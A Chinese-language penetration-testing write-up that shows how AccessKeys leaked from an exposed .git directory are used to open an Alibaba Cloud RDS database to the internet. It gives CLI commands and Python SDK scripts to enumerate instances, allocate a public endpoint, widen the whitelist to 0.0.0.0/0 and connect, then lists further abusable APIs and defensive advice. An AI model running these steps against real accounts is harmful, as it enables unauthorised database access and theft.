云上渗透-RDS数据库攻防
字数 1273 2025-08-19 12:41:32
云上渗透-RDS数据库攻防实战指南
前言
在云安全渗透测试中,当传统攻击路径受阻时,如何利用云服务特性进行突破是一个重要课题。本文详细记录了一次通过阿里云RDS数据库进行渗透的完整过程,涉及AccessKey利用、API操作、外网访问配置等关键技术点。
信息收集阶段
关键配置信息获取
通过.git目录泄露获取到网站源码后,发现以下关键配置信息:
ACCESSKEYID=XXXXX
ACCESSKEYSECRET=XXXXX
ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx
环境分析
- 数据库采用阿里云RDS服务
- RDS仅配置了内网地址(DBInstanceNetType=Intranet)
- 3306端口对外不开放
- 文件存储使用OSS服务
- 传统攻击路径(如SQL注入、RCE等)不可行
利用过程详解
1. 利用AccessKey获取RDS信息
工具准备:
下载阿里云RDS命令行工具Rdscli:
https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban
关键命令:
# 列出账户下所有RDS实例
rds DescribeDBInstances --PageSize 50
# 导出特定实例详细信息
rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test
2. 申请RDS外网访问
通过阿里云API为RDS实例申请外网访问地址:
API文档参考:
https://help.aliyun.com/document_detail/26234.html
Python脚本示例:
from aliyunsdkcore.client import AcsClient
from aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import AllocateInstancePublicConnectionRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = AllocateInstancePublicConnectionRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
request.set_ConnectionStringPrefix("public_domain")
request.set_Port("3306")
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
3. 查询RDS连接信息
使用DescribeDBInstanceNetInfo API查询实例连接地址:
from aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import DescribeDBInstanceNetInfoRequest
request = DescribeDBInstanceNetInfoRequest()
request.set_DBInstanceId("DBInstanceId")
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
返回结果示例:
{
"DBInstanceNetInfos": {
"DBInstanceNetInfo": [
{
"IPType": "Public",
"Port": "3306",
"ConnectionString": "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com",
"IPAddress": "xxx.xxx.xxx.xxx"
}
]
}
}
4. 配置RDS白名单
默认情况下RDS安全组会阻止所有外部访问,需要修改白名单:
查询当前白名单:
from aliyunsdkrds.request.v20140815.DescribeDBInstanceIPArrayListRequest import DescribeDBInstanceIPArrayListRequest
request = DescribeDBInstanceIPArrayListRequest()
request.set_DBInstanceId("rm-xxxxxxxxx")
response = client.do_action_with_exception(request)
修改白名单允许所有IP:
from aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import ModifySecurityIpsRequest
request = ModifySecurityIpsRequest()
request.set_DBInstanceId("rm-xxxxxxx")
request.set_SecurityIps("0.0.0.0/0")
response = client.do_action_with_exception(request)
5. 连接RDS数据库
完成上述配置后,即可使用获取到的外网地址和原始数据库凭据连接RDS:
mysql -h rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com -u xxxx -p
其他可利用的RDS API操作
通过AccessKey还可以执行以下关键操作:
- 修改数据库密码(
ResetAccountPassword) - 重启RDS实例(
RestartDBInstance) - 创建数据库备份(
CreateBackup) - 修改实例规格(
ModifyDBInstanceSpec) - 创建新数据库账号(
CreateAccount)
完整API列表参考:
https://help.aliyun.com/document_detail/182821.html
防御建议
-
AccessKey管理:
- 避免使用主账户AccessKey
- 为不同应用创建子账户AccessKey并限制权限
- 定期轮换AccessKey
-
RDS安全配置:
- 严格控制白名单IP范围,避免使用0.0.0.0/0
- 定期审计数据库访问权限
- 启用数据库审计日志
-
代码安全:
- 避免在代码中硬编码敏感信息
- 使用环境变量或密钥管理服务存储凭据
- 配置.gitignore避免敏感文件提交
-
监控告警:
- 设置API调用异常告警
- 监控RDS配置变更
- 设置异地登录告警
总结
本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护,强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。